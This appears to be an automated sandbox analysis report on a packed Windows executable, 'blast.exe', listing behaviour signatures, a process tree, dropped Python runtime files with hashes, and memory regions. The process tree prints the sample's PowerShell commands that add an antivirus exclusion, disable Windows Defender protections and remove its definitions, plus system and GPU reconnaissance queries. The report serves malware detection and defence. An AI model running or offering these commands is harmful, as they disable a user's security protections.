Analysis

  • max time kernel
    7s
  • max time network
    8s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-01-2025 23:15

General

  • Target

    blast.exe

  • Size

    7.6MB

  • MD5

    144f0413cbc37e7abfd03ef7db607bbb

  • SHA1

    44db66912cc325e195f13ad26e3fb556d145aad8

  • SHA256

    de8af9f7e1dd6baee89676f6eb45da2b578b1d4be47d9d3b1751bb98703503c8

  • SHA512

    3c1371d814765ee755bb507a62628cb00ae49423d8079d1a8edfbd8d320799503c28bb27ee71933acf015e934b5c6b026d12fe89c904b7b24cfc597191919cfd

  • SSDEEP

    196608:1cD+kdywfI9jUCBB7m+mKOY7rXrZusooDmhfvsbnTNWK:K5LIHL7HmBYXrYoaUNt

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Loads dropped DLL 17 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • UPX packed file 39 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\blast.exe
    "C:\Users\Admin\AppData\Local\Temp\blast.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2180
    • C:\Users\Admin\AppData\Local\Temp\blast.exe
      "C:\Users\Admin\AppData\Local\Temp\blast.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2280
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\blast.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3340
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\blast.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4892
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4856
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4464
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1824
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:1128
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1444
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4056
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3704
        • C:\Windows\system32\reg.exe
          REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
          4⤵
            PID:2056
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
          3⤵
            PID:380

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        6d3e9c29fe44e90aae6ed30ccf799ca8

        SHA1

        c7974ef72264bbdf13a2793ccf1aed11bc565dce

        SHA256

        2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

        SHA512

        60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\VCRUNTIME140.dll

        Filesize

        117KB

        MD5

        862f820c3251e4ca6fc0ac00e4092239

        SHA1

        ef96d84b253041b090c243594f90938e9a487a9a

        SHA256

        36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153

        SHA512

        2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\_bz2.pyd

        Filesize

        49KB

        MD5

        e1b31198135e45800ed416bd05f8362e

        SHA1

        3f5114446e69f4334fa8cda9cda5a6081bca29ed

        SHA256

        43f812a27af7e3c6876db1005e0f4fb04db6af83a389e5f00b3f25a66f26eb80

        SHA512

        6709c58592e89905263894a99dc1d6aafff96ace930bb35abff1270a936c04d3b5f51a70fb5ed03a6449b28cad70551f3dccfdd59f9012b82c060e0668d31733

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\_ctypes.pyd

        Filesize

        63KB

        MD5

        b6262f9fbdca0fe77e96a9eed25e312f

        SHA1

        6bfb59be5185ceaca311f7d9ef750a12b971cbd7

        SHA256

        1c0f9c3bdc53c2b24d5480858377883a002eb2ebb57769d30649868bfb191998

        SHA512

        768321758fc78e398a1b60d9d0ac6b7dfd7fd429ef138845461389aaa8e74468e4bc337c1db829ba811cb58cc48cfff5c8de325de949dde6d89470342b2c8ce8

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\_decimal.pyd

        Filesize

        119KB

        MD5

        9cfb6d9624033002bc19435bae7ff838

        SHA1

        d5eecc3778de943873b33c83432323e2b7c2e5c2

        SHA256

        41b0b60fe2aa2b63c93d3ce9ab69247d440738edb4805f18db3d1daa6bb3ebff

        SHA512

        dd6d7631a54cbd4abd58b0c5a8cb5a10a468e87019122554467fd1d0669b9a270650928d9de94a7ec059d4acebf39fd1cfcea482fc5b3688e7924aaf1369cc64

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\_hashlib.pyd

        Filesize

        36KB

        MD5

        0b214888fac908ad036b84e5674539e2

        SHA1

        4079b274ec8699a216c0962afd2b5137809e9230

        SHA256

        a9f24ad79a3d2a71b07f93cd56fc71958109f0d1b79eebf703c9ed3ac76525ff

        SHA512

        ae7aee8a11248f115eb870c403df6fc33785c27962d8593633069c5ff079833e76a74851ef51067ce302b8ea610f9d95c14be5e62228ebd93570c2379a2d4846

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\_lzma.pyd

        Filesize

        87KB

        MD5

        adeaa96a07b7b595675d9f351bb7a10c

        SHA1

        484a974913276d236cb0d5db669358e215f7fced

        SHA256

        3e749f5fad4088a83ae3959825da82f91c44478b4eb74f92387ff50ff1b8647d

        SHA512

        5d01d85cda1597a00b39746506ff1f0f01eeea1dc2a359fcecc8ee40333613f7040ab6d643fdaee6adaa743d869569b9ab28ae56a32199178681f8ba4dea4e55

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\_queue.pyd

        Filesize

        28KB

        MD5

        766820215f82330f67e248f21668f0b3

        SHA1

        5016e869d7f65297f73807ebdaf5ba69b93d82bd

        SHA256

        ef361936929b70ef85e070ed89e55cbda7837441acafeea7ef7a0bb66addeec6

        SHA512

        4911b935e39d317630515e9884e6770e3c3cdbd32378b5d4c88af22166b79b8efc21db501f4ffb80668751969154683af379a6806b9cd0c488e322bd00c87d0e

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\_socket.pyd

        Filesize

        45KB

        MD5

        65cd246a4b67cc1eab796e2572c50295

        SHA1

        053fa69b725f1789c87d0ef30f3d8997d7e97e32

        SHA256

        4ecd63f5f111d97c2834000ff5605fac61f544e949a0d470aaa467abc10b549c

        SHA512

        c5bf499cc3038741d04d8b580b54c3b8b919c992366e4f37c1af6321a7c984b2e2251c5b2bc8626aff3d6ca3bf49d6e1ccd803bd99589f41a40f24ec0411db86

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\_sqlite3.pyd

        Filesize

        59KB

        MD5

        f018b2c125aa1ecc120f80180402b90b

        SHA1

        cf2078a591f0f45418bab7391c6d05275690c401

        SHA256

        67a887d3e45c8836f8466dc32b1bb8d64c438f24914f9410bc52b02003712443

        SHA512

        c57580af43bc1243c181d9e1efbc4aa544db38650c64f8ece42fbcbe3b4394fcadb7acfb83e27fbe4448113db1e6af8d894fb4bd708c460cf45c6524fcfdef96

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\_ssl.pyd

        Filesize

        68KB

        MD5

        309b1a7156ebd03474b44f11ba363e89

        SHA1

        8c09f8c65cac5bb1fcf43af65a7b3e59a9400990

        SHA256

        67ed13570c5376cd4368ea1e4c762183629537f13504db59d1d561385111fe0a

        SHA512

        e610a92f0e4fa2a6cd9afd7d8d7a32cc5df14e99af689bfb5a4b0811dca97114bf3fcf4bfae68600ed2417d18ee88c64c22b0c186068afd4731be1de90c06f15

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\base_library.zip

        Filesize

        1.3MB

        MD5

        18c3f8bf07b4764d340df1d612d28fad

        SHA1

        fc0e09078527c13597c37dbea39551f72bbe9ae8

        SHA256

        6e30043dfa5faf9c31bd8fb71778e8e0701275b620696d29ad274846676b7175

        SHA512

        135b97cd0284424a269c964ed95b06d338814e5e7b2271b065e5eabf56a8af4a213d863dd2a1e93c1425fadb1b20e6c63ffa6e8984156928be4a9a2fbbfd5e93

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\blank.aes

        Filesize

        109KB

        MD5

        873efba9df70109b746174b475c66594

        SHA1

        e350626d11cf4d738a13b3d1bacfea93bb56141b

        SHA256

        0939f3798cdeb95ccfc149a1eb5a328f71b5e2770ed0792b8ec8f154d4271ba9

        SHA512

        b1dd2e46dab3eac5dff03c0022d5aa879e84c4cec3a80d17c691b2e62065ced0101996269f7915131842eeecdca8461c13d04297b160a4665d8d558c6520fb88

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\libcrypto-3.dll

        Filesize

        1.6MB

        MD5

        8377fe5949527dd7be7b827cb1ffd324

        SHA1

        aa483a875cb06a86a371829372980d772fda2bf9

        SHA256

        88e8aa1c816e9f03a3b589c7028319ef456f72adb86c9ddca346258b6b30402d

        SHA512

        c59d0cbe8a1c64f2c18b5e2b1f49705d079a2259378a1f95f7a368415a2dc3116e0c3c731e9abfa626d12c02b9e0d72c98c1f91a359f5486133478144fa7f5f7

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\libffi-8.dll

        Filesize

        29KB

        MD5

        08b000c3d990bc018fcb91a1e175e06e

        SHA1

        bd0ce09bb3414d11c91316113c2becfff0862d0d

        SHA256

        135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece

        SHA512

        8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\libssl-3.dll

        Filesize

        221KB

        MD5

        b2e766f5cf6f9d4dcbe8537bc5bded2f

        SHA1

        331269521ce1ab76799e69e9ae1c3b565a838574

        SHA256

        3cc6828e7047c6a7eff517aa434403ea42128c8595bf44126765b38200b87ce4

        SHA512

        5233c8230497aadb9393c3ee5049e4ab99766a68f82091fe32393ee980887ebd4503bf88847c462c40c3fc786f8d179dac5cb343b980944ade43bc6646f5ad5a

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\python313.dll

        Filesize

        1.8MB

        MD5

        9a3d3ae5745a79d276b05a85aea02549

        SHA1

        a5e60cac2ca606df4f7646d052a9c0ea813e7636

        SHA256

        09693bab682495b01de8a24c435ca5900e11d2d0f4f0807dae278b3a94770889

        SHA512

        46840b820ee3c0fa511596124eb364da993ec7ae1670843a15afd40ac63f2c61846434be84d191bd53f7f5f4e17fad549795822bb2b9c792ac22a1c26e5adf69

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\rar.exe

        Filesize

        615KB

        MD5

        9c223575ae5b9544bc3d69ac6364f75e

        SHA1

        8a1cb5ee02c742e937febc57609ac312247ba386

        SHA256

        90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

        SHA512

        57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\rarreg.key

        Filesize

        456B

        MD5

        4531984cad7dacf24c086830068c4abe

        SHA1

        fa7c8c46677af01a83cf652ef30ba39b2aae14c3

        SHA256

        58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

        SHA512

        00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\select.pyd

        Filesize

        26KB

        MD5

        933da5361079fc8457e19adab86ff4e0

        SHA1

        51bccf47008130baadd49a3f55f85fe968177233

        SHA256

        adfdf84ff4639f8a921b78a2efce1b89265df2b512df05ce2859fc3cc6e33eff

        SHA512

        0078cd5df1b78d51b0acb717e051e83cb18a9daf499a959da84a331fa7a839eefa303672d741b29ff2e0c34d1ef3f07505609f1102e9e86fab1c9fd066c67570

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\sqlite3.dll

        Filesize

        645KB

        MD5

        ff62332fa199145aaf12314dbf9841a3

        SHA1

        714a50b5351d5c8afddb16a4e51a8998f976da65

        SHA256

        36e1c70afc8ad8afe4a4f3ef4f133390484bca4ea76941cc55bac7e9df29eefd

        SHA512

        eeff68432570025550d4c205abf585d2911e0ff59b6eca062dd000087f96c7896be91eda7612666905445627fc3fc974aea7c3428a708c7de2ca14c7bce5cca5

      • C:\Users\Admin\AppData\Local\Temp\_MEI21802\unicodedata.pyd

        Filesize

        262KB

        MD5

        867ecde9ff7f92d375165ae5f3c439cb

        SHA1

        37d1ac339eb194ce98548ab4e4963fe30ea792ae

        SHA256

        a2061ef4df5999ca0498bee2c7dd321359040b1acf08413c944d468969c27579

        SHA512

        0dce05d080e59f98587bce95b26a3b5d7910d4cb5434339810e2aae8cfe38292f04c3b706fcd84957552041d4d8c9f36a1844a856d1729790160cef296dccfc2

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_by0emyp2.buq.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/2280-54-0x00007FF850F10000-0x00007FF850F3B000-memory.dmp

        Filesize

        172KB

      • memory/2280-81-0x00007FF8532C0000-0x00007FF8532D9000-memory.dmp

        Filesize

        100KB

      • memory/2280-58-0x00007FF850E50000-0x00007FF850E75000-memory.dmp

        Filesize

        148KB

      • memory/2280-60-0x00007FF84CD00000-0x00007FF84CE7F000-memory.dmp

        Filesize

        1.5MB

      • memory/2280-62-0x00007FF850EF0000-0x00007FF850F09000-memory.dmp

        Filesize

        100KB

      • memory/2280-64-0x00007FF850E40000-0x00007FF850E4D000-memory.dmp

        Filesize

        52KB

      • memory/2280-66-0x00007FF84F380000-0x00007FF84F3B3000-memory.dmp

        Filesize

        204KB

      • memory/2280-73-0x000002BE60E40000-0x000002BE61373000-memory.dmp

        Filesize

        5.2MB

      • memory/2280-74-0x00007FF849960000-0x00007FF849E93000-memory.dmp

        Filesize

        5.2MB

      • memory/2280-72-0x00007FF84D2E0000-0x00007FF84D3AE000-memory.dmp

        Filesize

        824KB

      • memory/2280-71-0x00007FF8510A0000-0x00007FF8510C7000-memory.dmp

        Filesize

        156KB

      • memory/2280-70-0x00007FF849EA0000-0x00007FF84A505000-memory.dmp

        Filesize

        6.4MB

      • memory/2280-82-0x00007FF84D170000-0x00007FF84D223000-memory.dmp

        Filesize

        716KB

      • memory/2280-56-0x00007FF8532C0000-0x00007FF8532D9000-memory.dmp

        Filesize

        100KB

      • memory/2280-79-0x00007FF84F350000-0x00007FF84F35D000-memory.dmp

        Filesize

        52KB

      • memory/2280-78-0x00007FF850F10000-0x00007FF850F3B000-memory.dmp

        Filesize

        172KB

      • memory/2280-76-0x00007FF84F360000-0x00007FF84F374000-memory.dmp

        Filesize

        80KB

      • memory/2280-83-0x00007FF850E50000-0x00007FF850E75000-memory.dmp

        Filesize

        148KB

      • memory/2280-111-0x00007FF84F380000-0x00007FF84F3B3000-memory.dmp

        Filesize

        204KB

      • memory/2280-48-0x00007FF856970000-0x00007FF85697F000-memory.dmp

        Filesize

        60KB

      • memory/2280-110-0x00007FF850E40000-0x00007FF850E4D000-memory.dmp

        Filesize

        52KB

      • memory/2280-31-0x00007FF8510A0000-0x00007FF8510C7000-memory.dmp

        Filesize

        156KB

      • memory/2280-25-0x00007FF849EA0000-0x00007FF84A505000-memory.dmp

        Filesize

        6.4MB

      • memory/2280-109-0x00007FF84CD00000-0x00007FF84CE7F000-memory.dmp

        Filesize

        1.5MB

      • memory/4464-84-0x00007FF83DA43000-0x00007FF83DA45000-memory.dmp

        Filesize

        8KB

      • memory/4892-94-0x00000279A6360000-0x00000279A6382000-memory.dmp

        Filesize

        136KB